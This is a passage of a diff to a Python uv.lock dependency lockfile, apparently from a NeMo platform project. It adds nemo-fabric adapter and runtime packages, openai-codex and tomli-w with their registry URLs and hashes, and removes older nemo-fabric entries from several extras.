"sha256:7134673f3d7c63f2aaec59ce36b640e1700a63375bbdbe2809a137617d109f40", size = 6291, upload-time = "2026-07-24T09:11:45.053Z" } + +[package.optional-dependencies] +runtime = [ + { name = "nemo-fabric-runtime", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] + +[[package]] +name = "nemo-fabric-adapters-codex" +version = "0.1.0a20260724" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "openai-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "tomli-w", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/65/6b/f6949c2e9350e5eb15fd171f775e50ed0565cd8ff08bf68157855475ac5f/nemo_fabric_adapters_codex-0.1.0a20260724.tar.gz", hash = "sha256:246e43bf6222560d63167fa89c27e9e03a152ea47cfe156601cb4a6100b9b656", size = 7567, upload-time = "2026-07-24T09:11:35.44Z" } + +[[package]] +name = "nemo-fabric-adapters-common" +version = "0.1.0a20260724" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6c/17/057fa7330912ec05e9950169fe3c5990f8fe58bce23dda8b1397e32d2df2/nemo_fabric_adapters_common-0.1.0a20260724.tar.gz", hash = "sha256:965fad6446b42e85271b93e66491b188fadeabefa0d899ddf589e3d99537b61d", size = 5800, upload-time = "2026-07-24T09:11:32.409Z" } + +[[package]] +name = "nemo-fabric-adapters-hermes" +version = "0.1.0a20260724" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "pyyaml", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8b/5b/a67590fe64bc71ceeab17fc35a1b01309016acf3fa7a5d5a4406b8be2bfc/nemo_fabric_adapters_hermes-0.1.0a20260724.tar.gz", hash = "sha256:1a4dbb3a985453435833cf3fee80f9a69f11786189a712d8c895ca33b8fb3976", size = 6215, upload-time = "2026-07-24T09:11:42.582Z" } + +[[package]] +name = "nemo-fabric-runtime" +version = "0.1.0a20260724" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/85/7a/971dfffaa98f245904cb6b753d40725023e4fc74e3245120ec5a1e79f63a/nemo_fabric-0.1.0a20260717.tar.gz", hash = "sha256:55b850fd03bb54e1559039504048cf5c2b7fd96903f91fd8e517a4c5cfff395f", size = 6149, upload-time = "2026-07-17T15:23:14.982Z" } +dependencies = [ + { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "typing-extensions", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3c/fe/0256c408a5d6c5e8a1576c8d2672252d85f1537dac7aa08584cef11ef5d2/nemo_fabric_runtime-0.1.0a20260724.tar.gz", hash = "sha256:b9a5eb4de344d981863f76b2d8f586e6fbcbc3c69ed6cdc333167b78f64e6331", size = 5275, upload-time = "2026-07-24T09:11:23.379Z" } [[package]] name = "nemo-guardrails-plugin" @@ -4540,7 +4591,6 @@ all = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4759,7 +4809,6 @@ nemo-agents-plugin = [ { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "langchain-aws", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-config-optimizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-core", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4931,7 +4980,6 @@ plugins = [ { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4993,7 +5041,6 @@ services = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, - { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -5282,10 +5329,6 @@ requires-dist = [ { name = "nemo-evaluator-sdk", marker = "extra == 'nemo-evaluator-plugin'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'plugins'", editable = "packages/nemo_evaluator_sdk" }, { name = "nemo-evaluator-sdk", marker = "extra == 'services'", editable = "packages/nemo_evaluator_sdk" }, - { name = "nemo-fabric", marker = "extra == 'all'", specifier = ">=0.1.0a20260717,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'nemo-agents-plugin'", specifier = ">=0.1.0a20260717,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'plugins'", specifier = ">=0.1.0a20260717,<0.2.0" }, - { name = "nemo-fabric", marker = "extra == 'services'", specifier = ">=0.1.0a20260717,<0.2.0" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'all'", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'core-service'", editable = "packages/nemo_platform_plugin" }, @@ -8113,6 +8156,31 @@ docker = [ { name = "docker", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] +[[package]] +name = "openai-codex" +version = "0.144.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "openai-codex-cli-bin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b9/7d/4b999b0ddd05c22d83cc2e879c95e1e92e3b7808b58ac561c4ea91fca1c4/openai_codex-0.144.4.tar.gz", hash = "sha256:91c63a7cb213441569f130e593386b34657ab9e726ae88af255f0ecb8de08ea5", size = 68324, upload-time = "2026-07-17T23:42:17.013Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/17/35/5d2a13e38d91278019f18757ac10426d2649b7ec6f031818c792f64559e9/openai_codex-0.144.4-py3-none-any.whl", hash = "sha256:de1513a6e94b9a8d7728a3b74298bc1469428ade10ba0ef2d5db47dd1cb606f5", size = 76244, upload-time = "2026-07-17T23:42:15.658Z" }, +] + +[[package]] +name = "openai-codex-cli-bin" +version = "0.144.4" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/65/eb/64c180514a2cc3e2500e486813f5a8d7f7e349342e9bebd78d99ddd9791a/openai_codex_cli_bin-0.144.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:05db505a9c7f020f58b70837a94e00d32a50086986c267bcc44ea97b573d4a05", size = 116474758, upload-time = "2026-07-15T00:14:08.177Z" }, + { url = "https://files.pythonhosted.org/packages/85/34/921ab692c7ed140941a91e39b84c6deafddb45072793f3a5f6dcbf86f59a/openai_codex_cli_bin-0.144.4-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:cd4bb31b8a477a3adba22139c8c493693fa5292ba21e86eef08ace3e96c41294", size = 119437596, upload-time = "2026-07-15T00:14:17.418Z" }, + { url = "https://files.pythonhosted.org/packages/25/62/39e630cf8b7b2e2444a5a6669235a6cd88004869a25bb7f3f629ed35638c/openai_codex_cli_bin-0.144.4-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:4106229c38f37245c3eea8d904426afd45b8bf19831765715647f5402f757c06", size = 128817757, upload-time = "2026-07-15T00:14:30.539Z" }, + { url = "https://files.pythonhosted.org/packages/23/24/318f91a95baaff845307e529d138d42a7202e6bd0e626556058eab3dead5/openai_codex_cli_bin-0.144.4-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:d2d3fada11731938e3d3e3660819d5324b7f92e825a0ed5aede63100b36ffc9a", size = 119437594, upload-time = "2026-07-15T00:14:39.327Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a0/65e6fd3a6fba52639937801d9ce517b0c48026458723bb9f08eb07a1dd35/openai_codex_cli_bin-0.144.4-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:70fb62ed7755e332dd8b00ed48e22ee16df10f4a977335039e237cd330490df3", size = 128817755, upload-time = "2026-07-15T00:14:47.849Z" }, +] + [[package]] name = "openapi-pydantic" version = "0.5.1" @@ -10855,6 +10923,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" }, ] +[[package]] +name = "tomli-w" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/19/75/241269d1da26b624c0d5e110e8149093c759b7a286138f4efd61a60e75fe/tomli_w-1.2.0.tar.gz", hash = "sha256:2dd14fac5a47c27be9cd4c976af5a12d87fb1f0b4512f81d69cce3b35ae25021", size = 7184, upload-time = "2025-01-15T12:07:24.262Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/18/c86eb8e0202e32dd3df50d43d7ff9854f8e0603945ff398974c1d91ac1ef/tomli_w-1.2.0-py3-none-any.whl", hash = "sha256:188306098d013b691fcadc011abd66727d3c414c571bb01b1a174ba8c983cf90", size = 6675, upload-time = "2025-01-15T12:07:22.074Z" }, +] + [[package]] name = "tomlkit" version = "0.14.0"